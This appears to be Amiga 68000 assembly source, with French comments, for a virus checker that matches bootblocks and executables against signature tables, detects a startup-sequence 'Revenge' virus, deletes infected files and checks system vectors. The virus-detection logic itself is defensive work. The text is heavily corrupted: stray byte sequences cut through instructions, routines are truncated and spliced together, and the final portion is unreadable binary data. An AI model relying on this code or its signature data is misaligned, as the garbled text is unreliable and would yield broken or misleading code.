#$30,d0 Opendr: move.l d0,d0 move.l 4.w,a6 moq6Wveq #0,d1 lea Diskioreq,a1 lea Trkdisk,a0 jsr -444(a6) tst.l d0 bne.W end rts Chkboot:tst.b AutoF bne.s PasRead bsr.W Readtrk bne.S EndCBoot PasRead:move.l Buffer,a0 lea Bootlist,a1 Bspelp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoBSpe move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s NoBSpe bsr.W Orange move.l #Cls2,d2 bsr.W EcriClr move.l $c(a1),d2 bsr.W Ecrire2 bsr.W Normal move.l #Reco,d2 bsr.W Ecrire2 tst.b AutoF beq.s NoAutoC bsr.W Wait rtq7D_os NoAutoC:bsr.W WaitRet rts NoBSpe: add.l #16,a1 tst.l (a1) bne.s BSpeLp EndCBoot:rts Display:tst.b AutoF bne.s EndDisp bsr.W ReadTrk bne.W DisRam move.l Buffer,a0 Displ2: move.l #Cls,d2 bsr.W Ecrire2 lea Scr,a1 lea $400(a0),a2 Scrct: move.b (a0),d0 cmp.b #$7f,d0 bhi.s NoCar cmp.b #$20,d0 blo.s Nocar move.b (a0),(a1)+ bra.s Cont NoCar: move.b #$2e,(a1)+ Cont: add.l #1,a0 cmp.l a0,a2 bne.s Scrct move.l #Scr,d2 move.l #$400,d3 bsr.W Ecrire DisWaR: bsr.W KeyRead q8 cmp.b #"p",d0 beq.s DisPrt cmp.b #"P",d0 beq.s DisPrt cmp.b #"R",d0 beq.W DisRam cmp.b #"r",d0 beq.W DisRam cmp.b #$d,d0 bne.s DisWaR EndDisp:rts DisPrt: btst #0,$bfd000 ;on line bne.W VeriPrt btst #1,$bfd000 ;no paper bne.W VeriPrt move.l DosBase,a6 move.l #NameP,d1 move.l #1006,d2 jsr -30(a6) move.l d0,PrtH beq.s DisWaR move.l ScrP,a0 lea Scr,a1 moveq #15,d2 DisPLp2:moveq #63,d1 DisPLp: move.b (a1)+,(a0)+ dbf d1,DisPLp move.b #10,(a0)+ dbf d2,DisPLp2 moveq9~д.l DosBase,a6 move.l PrtH,d1 move.l #ScrPrt,d2 move.l #ScrPrE-ScrPrt,d3 jsr -48(a6) move.l DosBase,a6 move.l PrtH,d1 move.l ScrP,d2 move.l #1040,d3 jsr -48(a6) move.l #UvkPrt,d2 bsr.W EcriClr bsr.W Wait move.l Prth,d1 jsr -36(a6) rts VeriPrt:move.l #VerifPT,d2 bsr.W EcriClr bsr.W Wait rts DisRam: move.l #File2,d5 move.l #50,d3 move.l #DisRamt,d6 bsr.W GetName lea File2,a0 lea ValList,a1 moveq #0,d0 A2HLp: moveq #0,d1 moveq #0,d2 move.b (a0)+,d1 beq.s EndAq$Bmove.l RealLen,d0 move.l #$10003,d1 jsr -198(a6) move.l d0,Rd2Buf beq.s RdF2Er move.l Dosbase,a6 move.l d5,d1 move.l #1005,d2 jsr -30(a6) ;open move.l d0,iboot bne.B RdReOk move.l #NotFt,d2 ;err bsr.W EcriClr bsr.W wait bsr.s FreRd2 RdF2Er: move.l #-1,d0 rts RdReOk: move.l d0,d1 move.l Dosbase,a6 move.l Rd2Buf,d2 move.l RealLen,d3 jsr -42(a6) ;read cmp.l d3,d0 rts CloFi2: move.l Dosbase,a6 move.l iboot,d1 jsr -36(a6) ;close FreRd2: move.l $4.w,a6 move.lq%S Rd2Buf,a1 move.l RealLen,d0 jsr -210(a6) ;freemem rts RdFile: move.l d2,d7 move.l #File2,d1 RdFil: move.l Dosbase,a6 move.l #1005,d2 jsr -30(a6) ;open move.l d0,iboot bne.B RdLOk cmp.l #cls,d7 beq.s FiTLiNF move.l #NotFtLi,d2 ;err bsr.W Ecrire2 bsr.W wait moveq #-1,d0 rts FiTLiNF:move.l #NotFt,d2 ;err bsr.W EcriClr bsr.W wait moveq #-1,d0 rts RdLOk: move.l d0,d1 move.l Dosbase,a6 move.l Buffer,d2 move.l #1024,d3 jsr -42(a6) ;read moveq #0,d0 rts CloFiq&O;le:move.l Dosbase,a6 move.l iboot,d1 jsr -36(a6) ;close rts AutoChk:move.b #1,AutoF lea autotxt,a0 move.l #"on ",(a0) move.l #texte,d2 bsr.W ecrire2 AChkLp: move.b $bfec01,d0 btst #0,d0 beq.s AChkLp bsr.W KeyRead cmp.b #"S",d0 beq.s SetDrs cmp.b #"s",d0 beq.s SetDrs cmp.b #"T",d0 beq.s AChkE cmp.b #"t",d0 beq.s AChkE cmp.b #"8",d0 beq.s autoEE bra.s AChkLp SetDrs: bsr.W NextDrs move.l #texte,d2 bsr.W ecrire2 bra.s AChkLp AutoEE: move.b #1,EndFlag AchkE: clq' =r.b AutoF lea autotxt,a0 move.l #"off ",(a0) rts NewDoIo:tst.b AutoF beq.W NDoIoE cmp.b #$2,$1d(a1) ;read ? bne.W NDoIoE tst.l $2c(a1) ;boot ? bne.W NDoIoE cmp.l #$200,$24(a1) ;1 secteur ? beq.s NDoOk cmp.l #$400,$24(a1) ;2 secteur ? bne.W NDoIoE NDoOk: movem.l d0-d7/a0-a6,-(a7) DskDrLp:moveq #0,d1 move.b Drs,d1 moveq #-1,d0 bclr d1,d0 rol.b #3,d0 ;calcul dr and.b #%01111000,d0 ;mask dr moveq #0,d1 move.l $18(a1),a0 move.b $41(a0),d1 and.b #%01111000,d1 cmp.q(Kjb d0,d1 ;source ? bne.W NDoIo moveq #0,d0 bsr.W SaReIo move.l 4.w,a6 move.w #2,28(a1) ;read move.l #1024,36(a1) move.l buffer,40(a1) move.l #0,44(a1) bsr.W NDoIoE move.l 4.w,a6 move.w #9,28(a1) ;motor off clr.l 36(a1) bsr.s NDoIoE move.l a1,-(a7) bsr.W Check move.l (a7)+,a1 tst.l d0 beq.s PasKill move.l 4.w,a6 move.w #3,28(a1) ;write move.l #1024,36(a1) move.l Buffer,40(a1) move.l #0,44(a1) bsr.s NDoIoE move.w #4,28(a1) ;update move.l #1024,36(a1) move.l bq)]uffer,40(a1) move.l #0,44(a1) bsr.s NDoIoE move.l 4.w,a6 move.w #9,28(a1) ;motor off clr.l 36(a1) bsr.s NDoIoE PasKill:move.l #Texte,d2 bsr.W Ecrire2 moveq #1,d0 bsr.s SaReIo NDoIo: movem.l (a7)+,d0-d7/a0-a6 NDoIoE: jmp 0 SaReIo: lea SaveIo,a2 ; d0=0 = save lea 28(a1),a0 tst.l d0 beq.s SavIoP exg a0,a2 SavIoP: moveq #4,d0 SRIoLp: move.l (a0)+,(a2)+ dbf d0,SRIoLp rts closdos:move.l 4.w,a6 move.l dosbase,a1 jsr -414(a6) rts analyse:tst.b AutoF bne.W AnaErr moveq q*% #1,d7 move.b #0,VirDia bsr.W Readtrk bne.W AnaErr move.l #analt,d2 bsr.W ecrire2 move.l bufend,a5 move.l buffer,a0 move.l #$400,d0 zerolp: cmp.l a0,a5 ;length boot beq.s zerobe tst.b (a0)+ beq.s zerof move.l #$401,d0 zerof: subq #1,d0 bra.s zerolp zerobe: move.l d0,lenboot lea lenab0,a0 bsr.W conv3 move.l #lenab,d2 bsr.W ecrire2 lea lenab0,a0 ACh0Lp: cmp.b #"0",(a0)+ beq.s ACh0Lp subq #1,a0 move.l a0,d2 bsr.W Ecrire2 move.l buffer,a0 tst.l 12(a0) beq.W okbcodq+ѩ! lea dosname,a1 dosllp: cmp.l a0,a5 ;cherche chaine 'dos.lib' beq.s codedb2 move.b (a0)+,d0 cmp.b (a1),d0 bne.s dosllp addq #1,a1 tst.b (a1) bne.s dosllp moveq #0,d0 move.l buffer,a0 rtslp: cmp.l a0,a5 ;compte les 'RTS' beq.s endrts cmp.b #$4e,(a0)+ bne.s rtslp cmp.b #$75,(a0) bne.s rtslp addq #1,d0 bra.s rtslp endrts: tst.l d0 beq.s codedb2 move.l lenboot,d1 asr.l #8,d1 cmp.l d1,d0 bhi.s okbcod move.l buffer,a0 add.l #12,a0 icodb: move.l #codbl,a1 cryplp: cmq, Kp.l a0,a5 beq.s okbcod move.w (a0)+,d0 nmadr: move.l d0,d1 and.w (a1),d1 cmp.w 2(a1),d1 beq.s codedb1 addq #4,a1 tst.w (a1) bne.s nmadr bra.s icodb codedb1:move.l #bootcod1,d2 bra.s codedb codedb2:move.l #bootcod2,d2 codedb: bsr.W ecrire2 moveq #0,d7 okbcod: move.l buffer,a0 ukslp: cmp.l a0,a5 ;jsr -612(a6) beq.s enduks ;move.l d0,554(a6) addq #2,a0 cmp.l #$4eaefd9c,(a0) bne.s ukslp cmp.l #$2d40022a,4(a0) bne.s ukslp move.l #anamemt,d2 bsr.W ecrire2 bsr.W oq-Jrange move.l #usekst,d2 bsr.W ecrire2 bsr.W normal moveq #0,d7 enduks: move.l #adrmodl+2,a2 move.l #analist+2,a1 anabuf: move.l buffer,a0 modiflp:cmp.l a0,a5 beq.B endmod move.w (a0)+,d0 cmp.w (a1),d0 bne.s modiflp modif: move.w 8(a2),d1 ;offset subq #2,d1 move.w 0(a0,d1.w),d2 move.w (a2),d3 ;masque and.w d3,d2 cmp.w 4(a2),d2 beq.s madrr nmodadr:add.l #12,a2 tst.w (a2) bne.s modif move.l #adrmodl+2,a2 bra.s modiflp madrr: tst.l d7 beq.s nomemt move.l #anamemq.ߤARt,d2 bsr.W ecrire2 moveq #0,d7 nomemt: cmp.w #$42ae,d2 bne.s nclrmo bsr.W orange move.l #motclr,d2 bsr.W ecrire2 move.l 2(a1),d2 add.l #10,d2 bsr.W ecrire2 bsr.W normal bra.s nmodadr nclrmo: bsr.W orange move.l 2(a1),d2 bsr.W ecrire2 bsr.W normal endmod: addq #8,a1 tst.w (a1) bne.W anabuf move.l #rett,d2 bsr.W ecrire2 bsr.W waitret nwret: moveq #1,d6 move.l buffer,a0 rwiolp: cmp.l a0,a5 beq.W rwio ;move.w #$000?,$1c(a1) addq #2,a0 ;move.b #$0?,$1c(a1) cmp.w #qxkName2 PasFil: DirPt1: move.l #return,d2 bsr.W ecrire2 Okname2:add.l #1,d7 cmp.l #14,d7 bne.s dixpt move.l #waitrt,d2 bsr.W ecrire2 clr.l d7 bsr.W WaitRet move.l #lpt,d2 bsr.W ecrire2 dixpt: move.l Dosbase,a6 move.l Locksav,d1 move.l Fileinfo,d2 jsr -108(a6) ;exnext tst.l d0 bne.W Print tst.b DirScan beq.s DirPt2 move.l Dosbase,a6 move.l LockSav,d1 move.l Fileinfo,d2 jsr -210(a6) ;parent move.l d0,LockSav beq.s DirPt2 ;root subq.b #1,DStep move.l Dosbase,a6qQ]) move.l Locksav,d1 move.l Fileinfo,d2 jsr -102(a6) ;examine bra.W Print DirPt2: tst.l d7 beq.s enddir move.l #waitrt,d2 bsr.W ecrire2 bsr.W Waitret Enddir: move.l $4.w,a6 move.l Fileinfo,a1 move.l #300,d0 jsr -210(a6) bra.W Link DoStep: tst.b DStep beq.s EndStep subq.b #1,DStep moveq #0,d0 move.b DStep,d0 DiStLp: move.l #dirtab,d2 bsr.W Ecrire2 btst #10,$dff016 beq.s EndStep dbf d0,DiStLp EndStep:rts Ecrire4:move.l d2,a0 moveq #0,d3 EcrLP: addq #1,d3 ;searchq;e end tst.b (a0)+ bne.s EcrLp subq #1,d3 bsr.W ecrire rts Conv4: lea Convt-2,a0 moveq #7,d0 CConTLp:move.b #" ",(a0)+ dbf d0,CConTLp clr.l d0 clr.l d6 lea Convt-2,a0 divu #10000,d4 move.w d4,d0 bsr.s Convb swap d4 move.w d4,d0 addq.l #4,a0 bsr.s Convb rts Convb: movem.l a0/d4,-(a7) move.l #1000,d4 moveq #2,d2 ConvLp: divu d4,d0 add.b #"0",d0 tst.l d6 bne.s NoSpc cmp.b #$30,d0 bne.s NoSpc addq #1,a0 bra.s SpcPt NoSpc: moveq #1,d6 move.b d0,(a0)+ SpcPt: cq|lr.w d0 swap d0 divu #10,d4 dbf d2,ConvLp add.b #"0",d0 tst.l d6 bne.s NoSpc2 cmp.b #$30,d0 bne.s NoSpc2 addq #1,a0 bra.s SpcPt2 NoSpc2: moveq #1,d6 move.b d0,(a0)+ SpcPt2: movem.l (a7)+,a0/d4 rts Locksav:dc.l 0 Vol: dc.b $c,$9b,"0 p","Path : ",-1 Dir: dc.b " Dir ",-1 dirtab: dc.b $9b,"1",$43,-1 waitrt: dc.b $a," Press return to continue",-1 OptaF: dc.b 0 dc.b " " convt: dc.b " ",-1 Free: dc.b "Bytes Free",-1 tab: dc.b $9b,"0",$45,$9b,"0",$46,$9b,"40",$43,-1 lqpt: dc.b $9b,"2;1",$48,$9b,$4a,-1 Named: dc.b "DF0:",0,0,0 SearEnd:move.l a1,d2 moveq #0,d3 SearELp:add.l #1,d3 tst.b (a1)+ bne.s SearELP sub.l #1,d3 rts SeRealL:clr.l RealLen ;d1=name move.l d1,-(a7) move.l $4.w,a6 move.l #$10003,d1 move.l #1024*20,d0 jsr -198(a6) ;allocmem move.l (a7)+,d1 move.l d0,RealLBu beq.B SeReLE move.l Dosbase,a6 move.l #1005,d2 jsr -30(a6) ;open move.l d0,iboot bne.s OkRdSt move.l #NotFt,d2 ;err bsr.W EcriClr bsr.W wait bra.s FreeqMSt OkRdSt: move.l d0,d1 move.l Dosbase,a6 move.l RealLBu,d2 move.l #1024*20,d3 jsr -42(a6) ;read move.l d0,RealLen bsr.W CloFile FreeMSt:move.l $4.w,a6 move.l RealLBu,a1 move.l #1024*20,d0 jsr -210(a6) tst.l Iboot beq.B SeReLE tst.l RealLen beq.B SeReLE moveq #0,d0 rts SeReLE: moveq #-1,d0 rts WaitFLi:cmp.l a0,a5 beq.s FinSt2 cmp.b #$a,(a0)+ bne.s WaitFLi ScanSta:cmp.b #$3b,(a0) beq.s WaitFLi cmp.b #$a,(a0) beq.s NextSca cmp.b #9,(a0) beq.s NextSca cmp.qEwVb #" ",(a0) beq.s NextSca cmp.b #$22,(a0) beq.s Guill CoFiSta:cmp.l a0,a5 beq.s FinSt2 move.b (a0)+,(a1)+ cmp.l a0,a5 beq.s FinSta cmp.b #" ",(a0) beq.s FinCop cmp.b #$3b,(a0) beq.s FinCop cmp.b #$a,(a0) beq.s FinCop cmp.b #9,(a0) beq.s FinCop bra.s CoFiSta NextSca:addq #1,a0 cmp.l a0,a5 beq.s FinSt2 bra.s ScanSta FinSta: clr.b (a1)+ FinSt2: move.b #1,EStrtUp rts FinCop: move.b #1,FileFnd cmp.l a0,a5 beq.s FinSt2 cmp.b #$a,(a0)+ bne.s FinCop cmp.l a0,a5 beqq à.s FinSta clr.b (a1)+ rts Guill: move.b #1,FileFnd addq #1,a0 GuilLp: cmp.l a0,a5 beq.s FinSta cmp.b #$22,(a0) beq.s FinCop move.b (a0)+,(a1)+ bra.s GuilLp TstLink:bsr.W RdFile bne.W CloLin TstLin: bsr.W CloFile lea linktab,a0 move.l Buffer,a1 cmp.l #$3f3,(a1) bne.W LinkErr HunkSe: cmp.w #$3e9,(a1)+ bne.s HunkSe move.l (a1)+,d0 SeaLLp: cmp.l (a0),d0 bne.s Nolink move.l 4(a0),d0 move.l 0(a1,d0.l),d1 cmp.l 8(a0),d1 bne.s NoLink move.l 4(a1,d0.l),d1 cmp.l 12(a0),dq!=ֺ1 bne.s NoLink move.b #1,LinkFnd cmp.l #cls,d7 bne.s TstLiPt move.l #Return,d2 bsr.W Ecrire2 TstLiPt:bsr.W Orange move.l 20(a0),d2 bsr.W Ecrire2 bsr.W Normal move.l #Detect2,d2 bsr.W Ecrire2 bsr.W Wait ; move.l 16(a0),a1 ;kill link ; jsr (a1) bra.s CloLin Nolink: add.l #24,a0 tst.l (a0) bne.s SeaLLp ;crunched file ? cmp.l #cls,d7 beq.s UnkLFi move.l #UnkLiT,D2 bsr.W Ecrire2 bsr.W Wait moveq #0,d0 rts UnkLFi: move.l #UnkT,D2 bsr.W EcriClr bsr.W Wait moveq #0,dq"20 rts CloLin: moveq #-1,d0 rts LinkErr:move.l #NotExec,d2 bsr.W Ecrire2 bsr.W Wait rts KillRev:move.l Dosbase,a6 move.l #Startup,d1 moveq #0,d2 jsr -186(a6) ;setprotect move.l Dosbase,a6 move.l #Startup,d1 move.l #1006,d2 moveq #0,d0 jsr -30(a6) ;open move.l d0,IBoot beq.B CantOpR moveq #6,d4 move.l d0,d1 move.l #$55,d7 move.l StarBuf,d2 add.l d4,d2 sub.l d4,StarLen move.l StarLen,d3 jsr -48(a6) ;write move.l StarLen,d1 cmp.l d1,d0 bne.s WrStErr moveq#tJ)q #0,d7 move.l #RemStar,d2 bsr.W Ecrire2 bsr.W Wait WrStErr:bsr.W CloFile cmp.l #$55,d7 bne.B OkRevSt CantOpR:move.l #LiWrEna,d2 bsr.W Ecrire2 bsr.W Wait moveq #-1,d0 rts OkRevSt: move.l Dosbase,a6 move.l #LamName,d1 moveq #0,d2 jsr -186(a6) ;setprotect move.l Dosbase,a6 move.l #LamName,d1 jsr -72(a6) ;delete tst.l d0 beq.s ReLaErr move.l #VirDel,d2 bsr.W Ecrire2 bsr.W Wait moveq #0,d0 rts ReLaErr:moveq #-1,d0 rts RdFil2: move.l $4,a6 ;RealLen/d5=name qCO72 bsr.W EcriClr bsr.W KeyRead cmp.b #"y",d0 beq.B Rset cmp.b #"Y",d0 beq.B Rset rts Rset: move.l 4.w,a6 lea CleanReset,a5 jsr -30(a6) Tstram: MOVE.L #VerifT,D2 bsr.w Ecrire2 bsr.w IoVect bsr.w RastChk bsr.w IntVec bsr.w ExbIChk bsr.w RamChk2 bsr.w DosVec bsr.w IntuiC bsr.w ExbaseC bsr.W ProChk2 bsr.W ResChk2 move.l #RetT,d2 bsr.w Ecrire2 bsr.W WaitRet rts CleanReset: move.l 4.w,a6 not.l $24(a6) lea $2.w,a0 reset jmp (a0) Link: move.l #linkT,D2 bsr.wq(M EcriClr LinSub: bsr.W Keyread cmp.b #"1",d0 beq.B LinFil cmp.b #"2",d0 beq.B LinStar cmp.b #"3",d0 beq.W LinDir cmp.b #"4",d0 beq.W LinVali cmp.b #"5",d0 beq.W directo cmp.l #"6",d0 bne.B LinSub ELinSub:rts LinFil: move.l #NameT,d6 move.l #50,d3 move.l #File2,d5 bsr.W Getname move.l #cls,d2 bsr.W EcriClr bsr.W TstLink bra.B Link LinStar:move.l #File2,d5 move.l #50,d3 move.l #Volut,d6 bsr.W GetName move.l Dosbase,a6 moveq #-2,d2 move.l #file2,d1 jsr -84ql(a6) ;lock move.l d0,d1 jsr -126(a6) ;cd move.l #LoaStar,d2 bsr.W EcriClr move.l #Startup,d1 bsr.W SeRealL bne.W Link move.l RealLen,StarLen NextSta:move.l #Startup,d5 bsr.W RdFil2 bne.W Link ;err move.l Rd2Buf,StarBuf bsr.W CloFile move.l #ScanStT,d2 bsr.W Ecrire2 clr.b LinkFnd move.l StarBuf,a0 bra.w NoRevL ;---------------------------- moveq #0,d0 move.l d0,d7 move.l d0,d6 ReLaLp: addq #1,d0 cmp.b #$a0,(a0)+ beq.s ReLaLp cmp.l #6,d0 bne.B NoRevL cmpqO{wg.b #$a,-1(a0) bne.B NoRevL move.b #1,LinkFnd bsr.W Orange ;revenge found move.l #LamerR,d2 bsr.W EcriClr bsr.W Normal move.l #Detect,d2 bsr.W Ecrire2 move.l #LiKilt,d2 bsr.W Ecrire2 WLik: bsr.W keyread cmp.b #"e",d0 beq.B NoRevL cmp.b #"E",d0 beq.B NoRevL cmp.b #"r",d0 beq.B KillReven cmp.b #"R",d0 bne.B NoRevL KillReven: bsr.W KillRev bne.W EScan bra.W LinStar ;---------------------- NoRevL: clr.b EStrtUp move.l StarBuf,a0 move.l a0,a5 add.l StarLen,a5 Scqˇs8anLp: clr.b FileFnd lea File2,a1 bsr.W ScanSta tst.b FileFnd bne.s LdScFi tst.b EStrtUp bne.W EScan LdScFi: movem.l a0/a5,-(a7) move.l Dosbase,a6 ;sans "c/" move.l #File2,d1 move.l #-2,d2 jsr -84(a6) tst.l d0 beq.s AvecC lea File2,a1 move.l #LoaLiF,d2 bsr.W Ecrire2 bsr.W Orange move.l a1,d2 bsr.W SearEnd bsr.W Ecrire bsr.W Normal move.l #File2,d1 bsr.W RdFil bsr.W TstLin beq.s ContLi2 ;kill virus bra.s ContLi2 AvecC: lea File2-2,a1 move.l #LoaLiF,d2 bqsr.W Ecrire2 bsr.W Orange bsr.W SearEnd bsr.W Ecrire bsr.W Normal move.l #File2-2,d1 bsr.W RdFil bne.B ContLi2 bsr.W TstLin beq.w ContLi2 ContLi2:movem.l (a7)+,a0/a5 tst.b EStrtUp bne.s EScan bra.W ScanLp EScan: move.l $4.w,a6 move.l StarBuf,a1 move.l StarLen,d0 jsr -210(a6) move.l #Return,d2 bsr.W Ecrire2 move.l #RetT,d2 bsr.W Ecrire2 bsr.W WaitRet bra.W Link LinDir: move.b #1,DirScan ; bsr.L Direct2 rts LinVali:move.l #File2,d5 move.l #50,d3 move.l #Vq%Holut,d6 bsr.W GetName move.l Dosbase,a6 moveq #-2,d2 move.l #file2,d1 jsr -84(a6) move.l d0,d1 jsr -126(a6) move.l #1848,RealLen move.l #ValiNam,d5 bsr.W RdFil2 bne.W Link lea ValiTab,a0 ValiLp: move.l Rd2Buf,a1 move.l (a0),d0 move.l 0(a1,d0.l),d1 cmp.l 4(a0),d1 beq.s OkVal move.l 4(a1,d0.l),d1 cmp.l 8(a0),d1 beq.s OkVal add.l #20,a0 tst.l (a0) bne.s ValiLp bsr.W Orange move.l #IllVali,d2 bsr.W EcriClr bsr.W Normal bsr.W Wait ; move.l 12(a0),a2 ; jsr (a1) ;qΤU|kill virus bra.s EndVali OkVal: move.l 16(a0),d2 cmp.l #NorVali,d2 beq.s OkVali bsr.W Orange OkVali: move.l 16(a0),d2 bsr.W EcriClr bsr.W Normal bsr.W Wait EndVali:bsr.W CloFi2 bra.W Link Directo:clr.b DirScan Direct2:clr.b Ident clr.b DStep move.l #File2,d5 move.l #50,d3 move.l #patht,d6 bsr.W GetName clr.l d5 move.l d5,d7 move.l $4.w,a6 move.l #300,d0 move.l #$10003,d1 jsr -198(a6) ;allocmem tst.l d0 beq.W Enddir add.l #4,d0 and.l #$fffffffc,d0 ;long word q/`Saligned move.l d0,Fileinfo move.l Dosbase,a6 move.l #file2,d1 ;nom move.l #-2,d2 ;mode lecture jsr -84(a6) ;lock move.l d0,Locksav move.l Fileinfo,d2 move.l LockSav,d1 move.l Dosbase,a6 jsr -114(a6) ;info tst.l d0 beq.W enddir moveq #0,d0 move.l d0,d1 move.l Fileinfo,a0 move.w 18(a0),d0 move.w 14(a0),d5 sub.l d0,d5 mulu #488,d5 move.l Dosbase,a6 move.l Locksav,d1 move.l Fileinfo,d2 jsr -102(a6) ;examine bsr.W orange move.l #return,d2 bsr.W ecrire2 moq, ve.l #Vol,d2 ;path bsr.W Ecrire2 move.l d5,d4 move.l Fileinfo,a0 add.l #8,a0 ;ptr name move.l a0,d2 ;begin bsr.W Ecrire4 move.l #tab,d2 bsr.W Ecrire2 bsr.W Conv4 move.l #convt,d2 bsr.W Ecrire2 move.l #free,d2 bsr.W Ecrire2 move.l #return,d2 bsr.W ecrire2 bsr.W normal move.l Fileinfo,a0 bra.W Okname2 Print: move.l Fileinfo,a0 cmp.l #-3,4(a0) ;file bne.s Pasfile move.l 124(a0),d4 bsr.W Conv4 move.l #convt,d2 bsr.W Ecrire2 move.b #1,Ident bra.s Okname Pasfiqle:cmp.l #$2,4(a0) ;dir bne.W End move.l #dir,d2 bsr.W ecrire2 move.b #2,Ident tst.b DirScan beq.s OkName bsr.W DoStep move.l Dosbase,a6 move.l LockSav,d1 move.l Fileinfo,d2 jsr -126(a6) ;cd move.l d0,LockSav move.l Dosbase,a6 move.l Locksav,d1 move.l Fileinfo,d2 jsr -102(a6) ;examine addq.b #1,DStep Okname: move.l Fileinfo,a0 add.l #8,a0 ;ptr name move.l a0,d2 ;begin bsr.W Ecrire4 tst.b DirScan beq.s DirPt1 cmp.b #1,Ident bne.s pasfil ;tstlink bra.s ON0NJNghG0<7@7@7@7|7|7|DMAC(| .|,p<yaУ.("(&&)#1PبJ,h&B#(,-+u}0ܝC|_ ف( "ݴ"6gfc$!\: yd&CZEՉx<:殞.OxnjtlA[rIb%{c-'{Cո?p IDȞmG I'P q<112|/dvNt |oie N3t:gddᨧt-: ೹$f50ȎގؚdH?฀YCc*l<pOtL p&wO oCFtb(K!0 &% +_l0eCs˜:`ڭC*($p #Np0 De\=\}C7C 9 tS,#bʊȳ+"Jj`8^]Haqb2](gF&(+ 0Z,"8q(|jH@ty'&"Jnx:1G{{lΏQTeThBTbJ B0e Yy A$D4"|8x8ģ8;+8/YTR#tUbTNud5X`NH|Cth9QMϔl6l_K KLliGX^Q4vSsCZ=`p%pGgp_B <'sDRHd`w-cǮTʠgb›zA \QOO<<qw0m\=L`1N!YԡY,'QGЇ8^^'0:aʠR P2 "2wS y =GB}3@uOh0 O .NVd$8*):ig`CxjD-#Dq׻ǿ~Fk!eGax*`\A8Xh r, 8݆`CPa 첚a` 9Q$Ԁϼ&.ni49)w=7-La?F.@ؚB#@2Cp8 dIgbã\@CD"DP&tF$P#jqNv&\PC>n>ښU?aPAdrdQ oP$| y79 e1x)1bfcV:F C6J@#(@N·-#62l$ EW!?f^a`3< >(4I B3X hĿ*y "o%iIei.^d X&.q \=r'MOTդc6B6wN :yN 30(0|R(1°䁘{Kh,q(9qT hI iiy{g!CgXc !?M:CPHHQ9bVn(cHA3G^TT!ڞ&@%M{yu`x#HA,C9MaWwNu.>A &HLz&LDASA.LA&yH0&"n:*&EiB&EeB.r,y ..m`"H.AH.`C.lYQ`.&Ip@&.xC.dos.library0aL,yCN @ hpNuG6,y !f"-|-|:-| <-|4`. "gNu-|8-|:-| x-|paa~ 9f33NuA"| <"QNA,y"Vg$*I fJgI$TN6JfNu,yJ.g Sg6J*g Sg6B.B*A"B@rXQF@0J&g Sg6B"B&N-@*Nu-PNu+|`|Nu+|`dNu+|`|Nu+|`xNu;|Nu|QNu|WNu;|` <0> O,y <"<N:Jfp` @0N j"N |hN\L,yCN @ hpNudos.libraryP: MHgD~1a ̳ӝƜTX) Q Pq2qR B1Yta%,Kgr'*;,S>E8Vpf@xsTFgW {-䛉fw='~`l_T`=i3ȫ=F ב aG9 I f8AbbpT8cq>_q' Cw"qc54e͘{hNrcPIOOg"cxDE$Ş:0ltģGM5UA<Eh'zi0 sa#iȂaHSv> dq gKI..с=pAL1?zǖ_8_i{ li=I{Sz[UƧ%LeNu>;Oj(fFY* &՘TEGH Cr~6GSjA IO꭯._A|'Oe4xE`y \{İ+cM*7Qa Oya)MC/AS=z6fO`_ZF͌SvTIMXbeO4 Gzth 1egbJڱoH~*@+0|(Pl:w2L1>R;v80O`+,# |`䉙H,6!xKώܻ%$XD FϷtb i:[fp( DKinhkl ߱┿`",ʗxcb#}ز_|<6<> ,q EN'Yea.N `ydaهAQgcL0PaIF3y ^CH9 $,$=0)lu3^8 :`K=LIh 0:h8 z8;'@.1Vi%aH & rC[,T0 aAt,f^$޲%8  ~njD)A`v%(1o(IX {P8>08O9 V)-&vۊ(%ϡCLH (1:90Z `2I9`/vԴhHAc pkc$ɦ## H^ &]D0!Ȩ x@4Թ P"i"?dI`<в/:* t<2,݊' vEp*8!0(*vFɜ4ncv4&CZ?ɟKIc4֦PsA W|I$ 1K@GWDI"`B%2`Oc9v7Ȅ8ƀ%AI!_ =ੇ.3H!˼b}Q4V| uEԧ֧nN3O( hS/2G^| ;Y~xWJ Byxad)=խttY2^8&*d<ǷǸѹ O6naùDo9Td 5.(DPi<)lX88ddHSr m7ϲg*K5tQ5Q9q:X2\%41. =;!|0⪑E%"eCC`Q!$/($ B Ewe~T#Al>uB*"Hi=lx| pwpH MJXar*J2t̿ L8D៙(\ 8R1,8}q|v8tzAل~h|3մjF soT9ePqlp8򫭈 ާyѡBxD07eMx{<{L"s "z tzAa(N8+ۛ0hPF>pv 0WGA8"¼tA,`Lָ-{!5v><147p(r/\< ;T|z;!:^6aQ6!Np8]gPQbzxc#iA⛩8G8򩩵n?g'< X4pAL$1t]lݽ{q8?Ah`U=@8bTGǫC]LLc/ &eM/'v:н_uljE`Nb>ZwtM/K/>:A{|KK>|TΓ yG\_x@gрR< žgcCFl70!5DS><}ۚx)z+G.NX؟!ӭaǞ _(:y@2p#:FKBE:x8p!\|rZERyL!A9&p031qКsdEMNx@qOMLp3!% 9^uuunu0W >~/T]JJ UY'Evfr1F$PT"xV0d/cDy(x1*IhڀQY&4>J!stp<߅,R@3@gh,rrhBzGy7<ێiZRDc%zzAwm2YNT$<**'̘f{%z$(r*N#fyD=-k>03:wW"nzw?'z YZKy^ 9!NFd;|Nڥ2ruq!`x!h'Erw'JQPj_&l̅8? w졇4S ꙱4_}шIM6wxwB#C/C7>GPAjbkkziwdHS*;PXlxyVιX8!*%MRIUFσeyΡY:=`X4L60$$Y >"1mOeԭpx8"bx]u>S R)ؤa3 )욟XrKTSYFVrz P&T/b'ȁ8P>},z& o&~|<|OeG\: odNA Y='e(+*l Lhl5t3C<n1 um~-QdP[TrBm02F+& ;7-=s$,_tUy0tE_Osg U1 r*'F@f}01m1G*$ >;B?!d`( PR "BbK wv.Ȇ¾<"< х{?-0"$>#E\p!qGd\C*ldps!Lm=eDF/ų~MBaZ~=DÏ*:fg0|Kg}z4税Fo>EzayXxVaPHvCHf}"|EH& >S@sE8"afÓ (m x<Ϟ+!Cs:&<FcsnYL?Vw϶Oy =={iOxgVGb~߳q`~ 9_3~62~'Cw_O/ЦP;- 7QCN~df?ɕLy"pX _Gz{z>#‡ZXBZV<(#P=qzt3 :8ժ7g@z~ g ]IGW~yLi '>dß#=`ioUz֫'D Ert@sA YlQ\?eGl+le|#%yG#22G>ύ0j(A>O (?G#{ Abw~Hh9Ag0;'号;1' 3FO8=~2reQ2yDD 1PN=IKh 5W?Q!+,(F=Uqxn?,F 